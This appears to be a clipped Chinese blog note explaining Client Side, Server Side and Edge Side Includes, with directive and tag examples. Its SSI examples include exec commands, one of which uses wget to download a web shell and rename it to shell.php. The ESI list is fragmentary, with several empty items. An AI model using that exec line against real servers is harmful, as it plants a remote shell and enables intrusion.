UestcMao

Clip

CSI(Client Side Includes) 通过iframe、javascript、ajax等方式将另外一个页面的内容动态包含进来.这样来实现动态化.

<iframe src='http://examle/index.php' border='0'></iframe>

该方法有一个缺点,客户端缓存问题可能导致更新后不能及时生效!要解决不能及时生效的问题,

SSI(Server Side Includes) 通过注释行SSI命令加载不同模块,构建为html,实现整个网站的内容更新.通过SSI调用各模块的对应文件,最后组装为html页面,需要服务器模块支持(具体配置本文不做详述),比如:apache服务器需要开启mod_include模块。

<!--#exec cmd="ls" -->
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_NAME" -->
<!--#fsize file="ssi.shtml" -->
<!--#include file="example.php"-->

Click me

ESI(Edge Side Includes) 通过使用简单的标记语言来对那些可以加速和不能加速的网页中的内容片断进行描述,每个网页都被划分成不同的小部分分别赋予不同的缓存控制 策略,使Cache服务器可以根据这些策略在将完整的网页发送给用户之前将不同的小部分动态地组合在一起。通过这种控制,可以有效地减少从服务器抓取整个页面的次数,而只用从原服务器中提取少量的不能缓存的片断,因此可以有效降低原服务器的负载,同时提高用户访问的响应时间。与SSI不同的是,ESI多在缓存服务器或代理服务器上执行! ESI是由Oracle公司和Akamai Technologies公司制定规格,Akamai公司提供对应的信息传送的服务。10多年过去了,还是只属于W3C note。

ESI有7条语句。

  1. include For example, ```


2. inline
fragment to be stored within an ESI processor

3. choose | when | otherwise
... ... ...

4. try | attempt | except
... ...

5. comment

6. remove
...

7. vars
<img src="http://www.example.com/$(HTTP_COOKIE{type})/hello.gif"/ >

8. <!--esi ...-->
```<!--esi  
  <p><esi:vars>Hello, $(HTTP_COOKIE{name})!</esi:vars></p>
-->

Share this: